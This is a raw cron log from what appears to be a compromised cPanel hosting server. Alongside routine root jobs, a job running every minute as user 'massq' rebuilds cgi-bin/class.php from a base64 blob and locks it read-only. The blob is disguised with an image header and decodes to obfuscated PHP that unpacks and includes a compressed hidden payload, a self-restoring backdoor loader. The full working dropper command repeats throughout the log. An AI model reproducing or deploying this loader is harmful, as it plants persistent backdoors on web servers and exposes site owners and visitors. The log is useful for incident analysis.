Aug 30 22:52:01 server CROND[28635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:53:01 server CROND[29000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:53:01 server CROND[29001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:53:01 server CROND[29002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:54:01 server CROND[29364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:54:01 server CROND[29365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:54:01 server CROND[29366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:55:01 server CROND[29885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:55:01 server CROND[29884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:55:01 server CROND[29887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:55:01 server CROND[29891]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:55:01 server CROND[29890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:55:01 server CROND[29889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:55:01 server CROND[29892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:56:01 server CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:56:01 server CROND[30602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:56:01 server CROND[30600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:57:01 server CROND[30740]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:57:01 server CROND[30741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:57:01 server CROND[30742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:57:01 server CROND[30739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:58:01 server CROND[30887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:58:01 server CROND[30888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:58:01 server CROND[30889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:59:01 server CROND[31030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:59:01 server CROND[31031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:59:01 server CROND[31032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:00:01 server CROND[31278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:00:01 server CROND[31280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:00:01 server CROND[31283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:00:01 server CROND[31285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:00:01 server CROND[31286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:00:01 server CROND[31284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:00:01 server CROND[31289]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 23:00:01 server CROND[31298]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:00:01 server CROND[31296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:01:01 server CROND[31877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:01:01 server CROND[31879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:01:01 server CROND[31880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:01:01 server CROND[31878]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 23:01:01 server run-parts(/etc/cron.hourly)[31878]: starting 0anacron
Aug 30 23:01:01 server run-parts(/etc/cron.hourly)[31897]: finished 0anacron
Aug 30 23:02:01 server CROND[32014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:02:01 server CROND[32015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:02:01 server CROND[32013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:03:01 server CROND[32141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:03:01 server CROND[32142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:03:01 server CROND[32144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:04:01 server CROND[32280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:04:01 server CROND[32281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
